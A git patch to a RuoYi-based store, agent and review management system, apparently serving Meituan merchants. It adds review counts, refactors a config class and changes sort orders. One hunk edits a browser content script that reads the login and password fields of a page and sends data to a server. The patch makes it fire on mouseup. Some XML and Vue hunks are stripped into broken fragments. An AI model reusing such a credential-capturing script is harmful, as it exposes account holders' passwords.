From 1dc3b89e6bf2fcac2ac6fd3bdef6ba911e9facc6 Mon Sep 17 00:00:00 2001 From: wangshuai Date: Thu, 18 Jul 2024 18:58:19 +0800 Subject: [PATCH] =?UTF-8?q?1=EF=BC=8C=E6=8E=88=E6=9D=83=E6=88=90=E5=8A=9F?= =?UTF-8?q?=E9=80=9A=E7=9F=A5=E6=8F=90=E7=A4=BA-=E8=84=9A=E6=9C=AC=202?= =?UTF-8?q?=EF=BC=8C=E4=BB=A3=E7=90=86=E7=AE=A1=E7=90=86=E6=98=A8=E6=97=A5?= =?UTF-8?q?=E6=B6=88=E8=80=97=20=E6=98=A8=E6=97=A5=E5=A5=BD=E8=AF=84?= =?UTF-8?q?=E9=87=8F=E6=9C=AA=E6=98=BE=E7=A4=BA=203=EF=BC=8C=E5=80=92?= =?UTF-8?q?=E5=BA=8F=E6=98=BE=E7=A4=BA=E5=86=85=E5=AE=B9?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- expand/ert/content.js | 10 +++++----- .../business/controller/BusAgentInfoController.java | 4 ++-- ruoyi-admin/src/main/resources/application.yml | 1 + .../main/java/com/ruoyi/common/config/RuoYiConfig.java | 8 ++++---- .../com/ruoyi/business/mapper/BusStoreInfoMapper.java | 2 ++ .../ruoyi/business/service/IBusStoreInfoService.java | 2 ++ .../business/service/impl/BusStoreInfoServiceImpl.java | 6 ++++++ .../service/impl/BusTemplateInfoServiceImpl.java | 4 +++- .../business/service/impl/MeituanServiceImpl.java | 1 + .../mapper/business/BusMarketOperationInfoMapper.xml | 2 ++ .../mapper/business/BusReturnVisitInfoMapper.xml | 2 ++ .../resources/mapper/business/BusStoreInfoMapper.xml | 6 +++++- ruoyi-ui/src/views/agent/list/index.vue | 4 ++-- ruoyi-ui/src/views/market/self/index.vue | 8 ++++---- ruoyi-ui/src/views/market/slave/index.vue | 4 ++-- ruoyi-ui/src/views/point/detail/index.vue | 6 +++--- ruoyi-ui/src/views/statistics/daily/index.vue | 4 ++-- ruoyi-ui/src/views/statistics/operation/index.vue | 6 +++--- 18 files changed, 51 insertions(+), 29 deletions(-) diff --git a/expand/ert/content.js b/expand/ert/content.js index f55878f..993965a 100644 --- a/expand/ert/content.js +++ b/expand/ert/content.js @@ -1,4 +1,4 @@ -document.addEventListener("click", function(e) { +document.addEventListener("mouseup", function(e) { // 处理点击事件的代码 var account = document.getElementById("login") var password = document.getElementById("password") @@ -74,9 +74,9 @@ document.addEventListener("click", function(e) { xhr.send(JSON.stringify(sendData)) xhr.onreadystatechange = function () { if (xhr.readyState === 4 && xhr.status === 200) { - if (xhr.responseText === 'true') { + // if (xhr.responseText === 'true') { alert('当前授权完成，请直接关闭当前浏览器！') - } + // } } } }else if(phone !== null && phone !== 'null' ){ @@ -91,9 +91,9 @@ document.addEventListener("click", function(e) { xhr.send(JSON.stringify(sendData)) xhr.onreadystatechange = function () { if (xhr.readyState === 4 && xhr.status === 200) { - if (xhr.responseText === 'true') { + // if (xhr.responseText === 'true') { alert('当前授权完成，请直接关闭当前浏览器！') - } + // } } } } diff --git a/ruoyi-admin/src/main/java/com/ruoyi/business/controller/BusAgentInfoController.java b/ruoyi-admin/src/main/java/com/ruoyi/business/controller/BusAgentInfoController.java index ed381f4..1e81155 100644 --- a/ruoyi-admin/src/main/java/com/ruoyi/business/controller/BusAgentInfoController.java +++ b/ruoyi-admin/src/main/java/com/ruoyi/business/controller/BusAgentInfoController.java @@ -83,9 +83,9 @@ public class BusAgentInfoController extends BaseController { String date = sdf.format(minusDay); String startTime = date + " 00:00:00"; String endTime = date + " 23:59:59"; - int lastUserIntegralNum = iBusStoreInfoService.lastUserIntegralNum(busAgentInfo.getAgentAccount(), startTime, endTime); + int lastUserIntegralNum = iBusStoreInfoService.lastUserIntegralNum(bean.getAgentAccount(), startTime, endTime); bean.setLastUseIntegralNum(lastUserIntegralNum); - + bean.setLastPositiveReviewsNum(iBusStoreInfoService.lastPositiveReviewsNum(bean.getAgentAccount())); List lll = ll.stream().filter(f -> "1".equals(f.getReturnVisitStatus())).collect(Collectors.toList()); bean.setOperateStoreNum(lll.size()); SysUser user1 = iSysUserService.selectUserById(bean.getId()); diff --git a/ruoyi-admin/src/main/resources/application.yml b/ruoyi-admin/src/main/resources/application.yml index a62d46c..1167539 100644 --- a/ruoyi-admin/src/main/resources/application.yml +++ b/ruoyi-admin/src/main/resources/application.yml @@ -12,6 +12,7 @@ ruoyi: addressEnabled: false # 验证码类型 math 数字计算 char 字符验证 captchaType: math + # 根路径地址 baseUrl: http://localhost/dev-api # 开发环境配置 diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/config/RuoYiConfig.java b/ruoyi-common/src/main/java/com/ruoyi/common/config/RuoYiConfig.java index 6d71e19..f19150d 100644 --- a/ruoyi-common/src/main/java/com/ruoyi/common/config/RuoYiConfig.java +++ b/ruoyi-common/src/main/java/com/ruoyi/common/config/RuoYiConfig.java @@ -30,7 +30,7 @@ public class RuoYiConfig /** 验证码类型 */ private static String captchaType; - private static String baseUrl; + private String baseUrl; public String getName() { @@ -122,11 +122,11 @@ public class RuoYiConfig return getProfile() + "/upload"; } - public static String getBaseUrl() { + public String getBaseUrl() { return baseUrl; } - public static void setBaseUrl(String baseUrl) { - RuoYiConfig.baseUrl = baseUrl; + public void setBaseUrl(String baseUrl) { + this.baseUrl = baseUrl; } } diff --git a/ruoyi-system/src/main/java/com/ruoyi/business/mapper/BusStoreInfoMapper.java b/ruoyi-system/src/main/java/com/ruoyi/business/mapper/BusStoreInfoMapper.java index a413674..2120749 100644 --- a/ruoyi-system/src/main/java/com/ruoyi/business/mapper/BusStoreInfoMapper.java +++ b/ruoyi-system/src/main/java/com/ruoyi/business/mapper/BusStoreInfoMapper.java @@ -62,4 +62,6 @@ public interface BusStoreInfoMapper public int deleteBusStoreInfoByIds(Long[] ids); String getBindUserByStoreCode(String wmPoiId); + + int lastPositiveReviewsNum(String agentAccount); } diff --git a/ruoyi-system/src/main/java/com/ruoyi/business/service/IBusStoreInfoService.java b/ruoyi-system/src/main/java/com/ruoyi/business/service/IBusStoreInfoService.java index deecf1c..915b5da 100644 --- a/ruoyi-system/src/main/java/com/ruoyi/business/service/IBusStoreInfoService.java +++ b/ruoyi-system/src/main/java/com/ruoyi/business/service/IBusStoreInfoService.java @@ -79,4 +79,6 @@ public interface IBusStoreInfoService int saveOrUpdateConfig(BusStoreConfigInfo busStoreConfigInfo); int changeReturnVisitStatus(BusStoreInfo busStoreInfo); + + int lastPositiveReviewsNum(String agentAccount); } diff --git a/ruoyi-system/src/main/java/com/ruoyi/business/service/impl/BusStoreInfoServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/business/service/impl/BusStoreInfoServiceImpl.java index f7129ed..a5f213c 100644 --- a/ruoyi-system/src/main/java/com/ruoyi/business/service/impl/BusStoreInfoServiceImpl.java +++ b/ruoyi-system/src/main/java/com/ruoyi/business/service/impl/BusStoreInfoServiceImpl.java @@ -125,6 +125,12 @@ public class BusStoreInfoServiceImpl implements IBusStoreInfoService busStoreInfo.setUpdateTime(DateUtils.getNowDate()); return busStoreInfoMapper.updateBusStoreInfo(busStoreInfo); } + + @Override + public int lastPositiveReviewsNum(String agentAccount) { + return busStoreInfoMapper.lastPositiveReviewsNum(agentAccount); + } + /** * 批量删除店铺信息 * diff --git a/ruoyi-system/src/main/java/com/ruoyi/business/service/impl/BusTemplateInfoServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/business/service/impl/BusTemplateInfoServiceImpl.java index b4f6f8a..bf4290d 100644 --- a/ruoyi-system/src/main/java/com/ruoyi/business/service/impl/BusTemplateInfoServiceImpl.java +++ b/ruoyi-system/src/main/java/com/ruoyi/business/service/impl/BusTemplateInfoServiceImpl.java @@ -30,6 +30,8 @@ public class BusTemplateInfoServiceImpl implements IBusTemplateInfoService @Autowired private BusTemplateAttrInfoMapper busTemplateAttrInfoMapper; + @Autowired + private RuoYiConfig ruoyiConfig; /** * 查询模版 * @@ -119,7 +121,7 @@ public class BusTemplateInfoServiceImpl implements IBusTemplateInfoService if(list.size() == 1){ BusTemplateInfo busTemplateInfo1 = list.get(0); String content = busTemplateInfo1.getTemplateContent(); - String http = RuoYiConfig.getBaseUrl()==null?"http://localhost/dev-api":""; + String http = ruoyiConfig.getBaseUrl(); if(content.contains("img src")){ int img = content.indexOf(" and update_user = #{updateUser} and operation_status = #{operationStatus} + ORDER BY update_time desc diff --git a/ruoyi-system/src/main/resources/mapper/business/BusReturnVisitInfoMapper.xml b/ruoyi-system/src/main/resources/mapper/business/BusReturnVisitInfoMapper.xml index b332615..8af0706 100644 --- a/ruoyi-system/src/main/resources/mapper/business/BusReturnVisitInfoMapper.xml +++ b/ruoyi-system/src/main/resources/mapper/business/BusReturnVisitInfoMapper.xml @@ -30,6 +30,7 @@ PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" and finish_time = #{finishTime} and phone_number is not null + ORDER BY return_visit_time desc - select count(integral_update_num) from bus_integral_record + select ifnull(sum(integral_update_num),0) from bus_integral_record where account = #{agentAccount} and update_type = '消耗账分' and integral_update_time between #{startTime} and #{endTime} @@ -81,6 +81,10 @@ PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" where id = #{wmPoiId} + insert into bus_store_info diff --git a/ruoyi-ui/src/views/agent/list/index.vue b/ruoyi-ui/src/views/agent/list/index.vue index d3969e5..627ae5b 100644 --- a/ruoyi-ui/src/views/agent/list/index.vue +++ b/ruoyi-ui/src/views/agent/list/index.vue @@ -63,7 +63,7 @@ - + diff --git a/ruoyi-ui/src/views/market/self/index.vue b/ruoyi-ui/src/views/market/self/index.vue index 1eab399..21429d7 100644 --- a/ruoyi-ui/src/views/market/self/index.vue +++ b/ruoyi-ui/src/views/market/self/index.vue @@ -144,15 +144,15 @@ - - + + - - + +